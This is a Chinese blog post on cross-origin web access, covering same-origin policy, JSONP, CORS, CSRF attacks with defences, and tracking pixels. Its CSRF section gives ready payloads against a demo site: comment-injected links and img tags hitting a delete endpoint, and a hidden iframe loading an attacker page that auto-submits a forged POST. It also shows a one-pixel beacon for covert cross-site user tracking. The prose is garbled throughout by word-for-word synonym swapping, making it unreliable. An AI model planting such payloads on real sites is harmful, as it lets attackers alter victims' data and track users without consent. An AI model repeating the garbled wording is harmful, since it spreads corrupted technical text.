本人工作中偶然会和浏览器打交道，也遇到过一些坑，在此分享一下网页跨域接见的相干场景和学问，愿望对读者有协助。
本文来自于我的博客网站：www.51think.net
一、什么是跨域接见
通常与主站地点的域名、端口、协定不一致的其他要求，都可以认为是跨域接见。比方某网站的主站地点是https://www.abc.com,但网页又…（地点是https://img.abc.com），这就是一种跨域接见。
二、浏览器的同源战略
所谓的同源战略是浏览器所遵照的一种平安商定。其限定了来自不同源的document或许剧本对当前的document读取或设置某些属性。详细限定以下：
跨源网络接见：AJAX要求。
跨源 DOM 接见：DOM。
跨源剧本API接见： iframe.contentWindow, window.parent, window.open 和 window.opener
假如没有这些限定，那我们就可以毫无所惧的损坏其他网站的网页了。
三、怎样举行跨域接见
跨域接见不是跨域进击，营业上我们的确有跨域接见的需要。
#### 1、经由过程标签的src或许href属性。
比方< script >、< img >、< iframe >、< link >，接见静态资本文件虽然是跨域，但不受同源战略限定，因为运用的是标签接见。src属性接见的地点是一次性的get接见，且是主站主动设置，相对平安。
2、form表单提交。
form表单提交到其他域也是被许可的。因为form提交意味着跳转到新的站点，是一个有去无回的页面跳转，不存在对原站点的剧本操纵。
3、jsonp接见。
这平常是跨域接见的经常使用手腕，jsonp可以协助我们从另一方站点猎取数据，并作用于当地站点的页面。这是当地站点开发人员的主动行动。jsonp跨域运用的是script标签的跨域功用，经由过程src属性接见第三方体系并猎取返回数组作用于当地函数中。假定在ablog.com的页面中接见bblog.com的效劳，可以在页面中写入以下代码,callback参数定义是回调函数：
< script src="http://bblog.com:8083/remote?callback=jsonhandle"></script>
<script type="text/javascript">
function jsonhandle(data){
alert("age:" + data.age + "name:" + data.name);
}
</script>bblog.com的效劳端代码以下，需要依据回调函数名+（json数据）的花样返回：
@GetMapping("/remote")
@ResponseBody
public String remote(HttpServletRequest request, Model model) {
String callback=request.getParameter("callback");
String jsonpStr = callback + "(" + "{\"age\" : 15,\"name\": \"jack\",}"+ ")";
return jsonpStr;
}
4、cors跨资本同享。
CORS 需要浏览器和效劳器同时支撑。如今，一切浏览器都支撑该功用，IE 浏览器不能低于 IE10。
四、跨域进击
跨域进击可以理解为：引诱受害者接见不法网站，黑客应用受害者的会话信息模仿要求，以到达改动数据的目的。由此看来，跨域进击有几个先决条件：
1、要有页面进口，供受害者点击或许页面自动加载。
2、进击要求可模仿，黑客对目的网站参数举行了深切的研讨，从而举行模仿。
第一点的页面进口异常重要，怎样在目的网站(地点：http://ablog.com:8080)植入进击者的代码？假定目的网站有批评功用，进击者可以将本身的代码输入到批评区，假如目的网站没有XSS防备，则会将进击者的代码以html的体式格局显如今网页上，这也就完成了第一点，供应了进击进口。比方进击者可以在批评区输入以下内容：
<a href="http://ablog.com:8080/admin/comments/delete?coid=39" >java速成，点我免费领取</a>或许以下内容：
<img src=''http://ablog.com:8080/admin/comments/delete?coid=39“></img>以上两个标签都邑要求当前效劳器，从而举行删除操纵。我们也发明到这两个要求都是get要求，假如效劳端谢绝接收get要求，只接收post要求，是不是是就没招了？毕竟标签里没法模仿post提交。然则进击者可以模仿表单，代码以下：
<form action="http://ablog.com:8080/admin/comments/delete" method="post">
<input type="hidden" name="coid" value="39" />
<input type="submit" name="button" value="java速成，点我免费领取" />
</form>将这段代码输入到批评区并显现，依旧可以引诱受害者点击，完成post要求。进击者也可以将更庞杂的逻辑封装在本身搭建的网站中，假定黑客网站地点是http://bblog.com:8083，进击者将参数传递给本身的效劳器，完成跨域进击，在目的网站ablog.com的批评区中留下以下代码：
<a href="http://bblog.com:8083/admin/comments/delete?coid=39" >java速成，点我免费领取</a>
在黑客网站bblog.com里模仿post要求到ablog.com：
<form action="http://ablog.com:8080/admin/comments/delete" method="post">
<input type="hidden" name="coid" value="39" />
<input type="submit" name="button" value="java速成，点我免费领取" />
</form>因为受害者在ablog.com中的会话依然坚持，这个模仿要求会带上受害者的会话信息，举行删除操纵，而关于效劳器端来说是无感的。在bblog.com里模仿post要求到ablog.com，为什么没有被跨域阻拦？上文有提到过，form表单提交是没有跨域限定的，这为跨域进击也供应了方便。
上述进击体式格局还不算隐藏，毕竟需要受害者点击触发按钮，还需要页面跳转，太low。我们可以运用一个影藏的iframe完成进击，使得进击操纵神不知鬼不觉。在网站ablog.com批评区中植入以下代码：
<iframe style="display:none;" src="http://bblog.com:8083/csrf?coid=41"></iframe>
form模仿提交的部份依旧放在bblog.com中，运用剧本自动实行。部份代码以下：
<script>
function dianwoSub() {
document.getElementById("dianwoForm").submit();
}
</script>
<body onload="dianwoSub()">
<div class="container">
<form action="http://ablog.com:8080/admin/comments/delete" method="post" id="dianwoForm">
<input type="hidden" name="coid" value="${coid}" />
<input type="submit" name="button" value="点我" />
</form>
</div>
</body>在bblog.com中假如运用ajax来模仿要求进击ablog.com会被浏览器阻拦，ajax剧本以下：
function dianwoSub() {
$.ajax({
type: 'post',
url: 'http://ablog.com:8080/admin/comments/delete',
data: $('#dianwoForm').serialize(),
async: false,
dataType: 'json',
success: function (result) {
alert(" delete ok");
}
});
}运行时，浏览器会报以下毛病，即ablog和blog非同源，跨域接见被限定： 
五、怎样防止跨域进击
1、网站体系肯定要有xss防备。
用户的任何输入必需要经由背景的校验，假如涌现不法字符肯定要阻拦，将代码植入进口堵死。
2、体系要求优先运用post提交。
get提交会下降进击门坎。
3、refer泉源推断。
网站体系在接收要求时，推断要求泉源是不是是可信任的，假如是不法的则需要阻拦。
4、增添验证码校验。
在做增编削操纵时，强行让用户再次与背景交互，这能很大程度上防止进击，然则影响用户体验。
5、token校验。
用户在接见某一网页时，后端天生一个随机加密字符串放到session中，用户再次要求时照顾此token，后端对照token是不是准确，不准确则阻拦要求。
六、网络信标
网络信标别名网络臭虫，经由过程植入第三方代码来网络接见者信息。比方在ablog.com网站中植入以下代码：
<img src="http://bblog.com:8083/netflag" height="1" width="1" ></img>大小仅为一个像素，用户很难发明。通常翻开植入此代码的网页，都邑接见bblog.com，bblog.com背景可以网络到以下信息： 
经由过程以上信息，我们可以给用户设置一个唯一标记，并写入到cookie中，比方bloguser=user_127.0.0.11540367865328。后端同时将此标记以及对应信息保存到数据库中，如许可以跟踪某一特定用户的接见途径。假定一个集团公司的营业范围异常广，其信息化体系包括多个二级域名，比方注册页面是login.blog.com,充值页面是deposit.xyz.com,购物页面是shopping.abc.com等，这些域名的cookie是没法同享的，这时候可以采用网络信标的体式格局，在一切主页上均植入上述代码，经由过程第三方cookie的体式格局，将接见者信息悉数串连起来。
网络信标的别的一种运用场景是广告引荐。百度的广告同盟就是很好的例子。我们在百度上搜刮一些关键字以后，接见其他网站时（比方CSDN）会发明，为什么我方才搜刮的关键字图片会在CSDN网页上显现？那CSDN很有能够安排了百度的剧本代码。用户在百度上举行搜刮以后，百度将搜刮关键字写入到用户的cookie信息中，CSDN内置了百度的广告代码，这个代码会接见百度效劳器，同时会带上百度之前设置的cookie，百度背景依据关键字来相应相干图片或许笔墨链接，到达精准投放广告的结果。
如今我们来模仿一下百度广告同盟的结果。假定bblog.com就是百度体系，我们模仿一个搜刮页面，并搜刮关键字“手机”：
bblog.com的后端将手机写入到cookie，key为sosuoPara：
setCookie(response,"sosuoPara",sosuoPara,60*60);
bblog.com的协作网站ablog.com内置了bblog.com广告代码：
<div class="card mb-3">
<div class="card-header">
广告页
</div>
<div class="card-body">
<iframe src="http://bblog.com:8083/guanggao"></iframe>
</div>
</div>这段广告代码的后端逻辑是掏出cookie信息，获得搜刮关键字，后端举行婚配处置惩罚，返回给前端广告。这时候我们看一下ablog.com的主页广告，见以下红框位置：
